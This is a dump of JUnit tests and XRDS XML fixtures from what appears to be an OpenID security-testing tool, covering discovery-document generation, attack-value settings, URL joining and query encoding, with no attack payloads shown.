AUTOMATIC_VALUE_2 = "automaticValue_2"; 15 | 16 | public AttackValueTest() { 17 | } 18 | 19 | @Test 20 | public void testNotNullValue() { 21 | AttackValue av = new AttackValue(); 22 | 23 | assertThat(av.getUserValue(), notNullValue()); 24 | assertThat(av.getAutomaticValue(), notNullValue()); 25 | assertThat(av.getCurrentValue(), notNullValue()); 26 | } 27 | 28 | @Test 29 | public void testDefaultAttackNotEnabled() { 30 | AttackValue av = new AttackValue(); 31 | 32 | assertThat(av.isEnableUserValue(), is(false)); 33 | } 34 | 35 | @Test 36 | public void testGetCurrentValue() { 37 | AttackValue av = new AttackValue(); 38 | 39 | av.setUserValue(USER_VALUE_1); 40 | av.setAutomaticValue(AUTOMATIC_VALUE_1); 41 | 42 | assertThat(av.getAutomaticValue(), is(AUTOMATIC_VALUE_1)); 43 | assertThat(av.getUserValue(), is(USER_VALUE_1)); 44 | 45 | av.setEnableUserValue(false); 46 | assertThat(av.getCurrentValue(), is(AUTOMATIC_VALUE_1)); 47 | av.setCurrentValue(AUTOMATIC_VALUE_2); 48 | assertThat(av.getCurrentValue(), is(AUTOMATIC_VALUE_2)); 49 | assertThat(av.getAutomaticValue(), is(AUTOMATIC_VALUE_2)); 50 | 51 | av.setEnableUserValue(true); 52 | assertThat(av.getCurrentValue(), is(USER_VALUE_1)); 53 | av.setCurrentValue(USER_VALUE_2); 54 | assertThat(av.getCurrentValue(), is(USER_VALUE_2)); 55 | assertThat(av.getUserValue(), is(USER_VALUE_2)); 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /src/test/java/wsattacker/sso/openid/attacker/discovery/html/HtmlDiscoveryGeneratorTest.java: -------------------------------------------------------------------------------- 1 | package wsattacker.sso.openid.attacker.discovery.html; 2 | 3 | import java.io.ByteArrayInputStream; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | import javax.xml.parsers.DocumentBuilder; 7 | import javax.xml.parsers.DocumentBuilderFactory; 8 | import javax.xml.parsers.ParserConfigurationException; 9 | import javax.xml.transform.dom.DOMSource; 10 | import static org.junit.Assert.assertThat; 11 | import org.junit.Ignore; 12 | import org.junit.Test; 13 | import org.w3c.dom.Document; 14 | import org.xml.sax.SAXException; 15 | import static org.xmlmatchers.XmlMatchers.isEquivalentTo; 16 | 17 | public class HtmlDiscoveryGeneratorTest { 18 | 19 | private static final String BASE_URL = "http://openidp"; 20 | private static final String IDENTITY = "http://openidp/identity"; 21 | 22 | public HtmlDiscoveryGeneratorTest() { 23 | } 24 | 25 | @Test 26 | @Ignore 27 | public void testGenerateString() throws Exception { 28 | HtmlDiscoveryConfiguration config = createConfig(true, true, false); 29 | Document result = HtmlDiscoveryGenerator.generateHtmlDocument(config); 30 | Document expected = string2Document( 31 | "\n" 32 | + " \n" 33 | + " http://openidp/identity\n" 34 | + " \n" 35 | + " \n" 36 | + " \n" 37 | + " \n" 38 | + "

HTML Discovery for:

\n" 39 | + "

http://openidp/identity

\n" 40 | + " \n" 41 | + ""); 42 | assertThat(new DOMSource(result), isEquivalentTo(new DOMSource(expected))); 43 | } 44 | 45 | private HtmlDiscoveryConfiguration createConfig(final boolean openidserver, final boolean openid2provider, final boolean includeIdentity) { 46 | HtmlDiscoveryConfiguration config = new HtmlDiscoveryConfiguration(); 47 | config.setBaseUrl(BASE_URL); 48 | config.setIdentity(IDENTITY); 49 | config.setIncludeIdentity(includeIdentity); 50 | config.setOpenidServer(openidserver); 51 | config.setOpenId2Provider(openid2provider); 52 | return config; 53 | } 54 | 55 | private static Document string2Document(String xml) throws SAXException, IOException { 56 | DocumentBuilderFactory fac = DocumentBuilderFactory.newInstance(); 57 | fac.setNamespaceAware(false); 58 | // fac.setIgnoringElementContentWhitespace(true); 59 | DocumentBuilder builder = null; 60 | try { 61 | builder = fac.newDocumentBuilder(); 62 | } catch (ParserConfigurationException e) { 63 | throw new IllegalStateException("This should never happen", e); 64 | } 65 | InputStream is = new ByteArrayInputStream(xml.getBytes("UTF-8")); 66 | return builder.parse(is); 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /src/test/java/wsattacker/sso/openid/attacker/discovery/xrds/XrdsGeneratorTest.java: -------------------------------------------------------------------------------- 1 | package wsattacker.sso.openid.attacker.discovery.xrds; 2 | 3 | import java.io.IOException; 4 | import java.io.InputStream; 5 | import javax.xml.parsers.DocumentBuilder; 6 | import javax.xml.parsers.DocumentBuilderFactory; 7 | import javax.xml.parsers.ParserConfigurationException; 8 | import javax.xml.transform.dom.DOMSource; 9 | import static org.junit.Assert.assertThat; 10 | import org.junit.Before; 11 | import org.junit.BeforeClass; 12 | import org.junit.Test; 13 | import org.w3c.dom.Document; 14 | import org.xml.sax.SAXException; 15 | import static org.xmlmatchers.XmlMatchers.isEquivalentTo; 16 | import static wsattacker.sso.openid.attacker.discovery.xrds.XrdsGenerator.generateXrdsDocument; 17 | import wsattacker.sso.openid.attacker.user.User; 18 | 19 | public class XrdsGeneratorTest { 20 | 21 | public static final String CLAIMED_ID = "http://my_claimed_id"; 22 | private static XrdsConfiguration config; 23 | private static final User user = new User(); 24 | private static final String ENDPOINT = "http://my_endpoint"; 25 | 26 | @BeforeClass 27 | public static void setUpBeforeClass() { 28 | config = new XrdsConfiguration(); 29 | config.setIdentity(CLAIMED_ID); 30 | config.setBaseUrl(ENDPOINT); 31 | config.setIncludeIdentity(true); 32 | } 33 | 34 | public static Document readDocument(InputStream is) throws SAXException, IOException { 35 | DocumentBuilderFactory fac = DocumentBuilderFactory.newInstance(); 36 | fac.setNamespaceAware(false); 37 | // fac.setIgnoringElementContentWhitespace(true); 38 | DocumentBuilder builder = null; 39 | try { 40 | builder = fac.newDocumentBuilder(); 41 | } catch (ParserConfigurationException e) { 42 | throw new IllegalStateException("This should never happen", e); 43 | } 44 | return builder.parse(is); 45 | } 46 | 47 | public XrdsGeneratorTest() { 48 | } 49 | 50 | @Before 51 | public void setUp() { 52 | } 53 | 54 | @Test 55 | public void testGenerateXrdsDocument20() throws Exception { 56 | Document expected = readDocument(XrdsGeneratorTest.class.getResourceAsStream("/xrds/xrds_20.xml")); 57 | config.setOpenIdVersion(OpenIdVersion.VERSION_20_CLAIMED_IDENTIFIER_ELEMENT); 58 | Document xrdsDocument = generateXrdsDocument(config); 59 | assertThat(new DOMSource(expected), isEquivalentTo(new DOMSource(xrdsDocument))); 60 | } 61 | 62 | @Test 63 | public void testGenerateXrdsDocument11() throws Exception { 64 | Document expected = readDocument(XrdsGeneratorTest.class.getResourceAsStream("/xrds/xrds_11.xml")); 65 | config.setOpenIdVersion(OpenIdVersion.VERSION_11); 66 | Document xrdsDocument = generateXrdsDocument(config); 67 | assertThat(new DOMSource(expected), isEquivalentTo(new DOMSource(xrdsDocument))); 68 | } 69 | 70 | @Test 71 | public void testGenerateXrdsDocument10() throws Exception { 72 | Document expected = readDocument(XrdsGeneratorTest.class.getResourceAsStream("/xrds/xrds_10.xml")); 73 | config.setOpenIdVersion(OpenIdVersion.VERSION_10); 74 | Document xrdsDocument = generateXrdsDocument(config); 75 | assertThat(new DOMSource(expected), isEquivalentTo(new DOMSource(xrdsDocument))); 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /src/test/java/wsattacker/sso/openid/attacker/evaluation/DtdAttackTest.java: -------------------------------------------------------------------------------- 1 | /* 2 | * To change this license header, choose License Headers in Project Properties. 3 | * To change this template file, choose Tools | Templates 4 | * and open the template in the editor. 5 | */ 6 | package wsattacker.sso.openid.attacker.evaluation; 7 | 8 | import static org.junit.Assert.assertEquals; 9 | import org.junit.Test; 10 | import wsattacker.sso.openid.attacker.evaluation.attack.DtdAttack; 11 | 12 | /** 13 | * 14 | * @author christiankossmann 15 | */ 16 | public class DtdAttackTest { 17 | 18 | @Test 19 | public void testAppendPathToUrlWithSlash() { 20 | String url = "http://my-idp.xyz/"; 21 | String path = "xxe"; 22 | 23 | ServiceProvider sp = new ServiceProvider(url); 24 | DtdAttack dtdAttack = new DtdAttack(sp); 25 | 26 | assertEquals(dtdAttack.addPathToUrl(path, url), "http://my-idp.xyz/xxe"); 27 | } 28 | 29 | @Test 30 | public void testAppendPathToUrlWithoutSlash() { 31 | String url = "http://my-idp.xyz"; 32 | String path = "xxe"; 33 | 34 | ServiceProvider sp = new ServiceProvider(url); 35 | DtdAttack dtdAttack = new DtdAttack(sp); 36 | 37 | assertEquals(dtdAttack.addPathToUrl(path, url), "http://my-idp.xyz/xxe"); 38 | } 39 | 40 | } 41 | -------------------------------------------------------------------------------- /src/test/java/wsattacker/sso/openid/attacker/server/utilities/HttpPostRedirectTest.java: -------------------------------------------------------------------------------- 1 | package wsattacker.sso.openid.attacker.server.utilities; 2 | 3 | import java.util.HashMap; 4 | import java.util.Map; 5 | import static org.hamcrest.CoreMatchers.is; 6 | import static org.junit.Assert.assertThat; 7 | import org.junit.Ignore; 8 | import org.junit.Test; 9 | import org.w3c.dom.Document; 10 | import org.w3c.dom.Element; 11 | 12 | public class HttpPostRedirectTest { 13 | 14 | public HttpPostRedirectTest() { 15 | } 16 | 17 | @Test 18 | public void testCreateBasicPostRedirect() throws Exception { 19 | Document doc = HttpPostRedirect.createBasicPostRedirect(); 20 | assertThat(doc.getDocumentElement().getLocalName(), is("html")); 21 | 22 | Element form = HttpPostRedirect.findFormElement(doc); 23 | assertThat(form.getLocalName(), is("form")); 24 | 25 | Element title = HttpPostRedirect.findTitleElement(doc); 26 | assertThat(title.getLocalName(), is("title")); 27 | } 28 | 29 | @Ignore 30 | public void testCreateGetRequest() { 31 | String url = "http://x.yz"; 32 | Map getMap = new HashMap<>(); 33 | getMap.put("eins", "one"); 34 | getMap.put("zwei", "two"); 35 | 36 | String expected = url + "?zwei=two&eins=one"; 37 | String actual = HttpPostRedirect.createGetRequest(url, getMap); 38 | assertThat(actual, is(expected)); 39 | } 40 | 41 | @Ignore 42 | public void testCreateGetRequest2() { 43 | String url = "http://x.yz?q=s"; 44 | Map getMap = new HashMap<>(); 45 | getMap.put("eins", "one"); 46 | getMap.put("zwei", "two"); 47 | 48 | String expected = url + "&zwei=two&eins=one"; 49 | String actual = HttpPostRedirect.createGetRequest(url, getMap); 50 | assertThat(actual, is(expected)); 51 | } 52 | 53 | @Test 54 | public void testCreateGetRequest3() { 55 | String url = "http://x.yz"; 56 | Map getMap = new HashMap<>(); 57 | getMap.put("a", "x y"); 58 | 59 | String expected = url + "?a=x+y"; 60 | String actual = HttpPostRedirect.createGetRequest(url, getMap); 61 | assertThat(actual, is(expected)); 62 | } 63 | 64 | @Test 65 | public void testCreateGetRequest4() { 66 | String url = "http://x.yz"; 67 | Map getMap = new HashMap<>(); 68 | getMap.put("a", "x+y"); 69 | 70 | String expected = url + "?a=x%2By"; 71 | String actual = HttpPostRedirect.createGetRequest(url, getMap); 72 | assertThat(actual, is(expected)); 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /src/test/resources/xrds/xrds.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 8 | http://specs.openid.net/auth/2.0/signon 9 | http://my_endpoint 10 | http://my_claimed_id 11 | 12 | 13 | http://openid.net/signon/1.1 14 | http://my_endpoint 15 | http://my_claimed_id 16 | 17 | 18 | http://openid.net/signon/1.0 19 | http://my_endpoint 20 | http://my_claimed_id 21 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /src/test/resources/xrds/xrds_10.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 8 | http://openid.net/signon/1.0 9 | http://my_endpoint 10 | http://my_claimed_id 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /src/test/resources/xrds/xrds_11.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 8 | http://openid.net/signon/1.1 9 | http://my_endpoint 10 | http://my_claimed_id 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /src/test/resources/xrds/xrds_20.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 8 | http://specs.openid.net/auth/2.0/signon 9 | http://my_endpoint 10 | http://my_claimed_id 11 | 12 | 13 | 14 | --------------------------------------------------------------------------------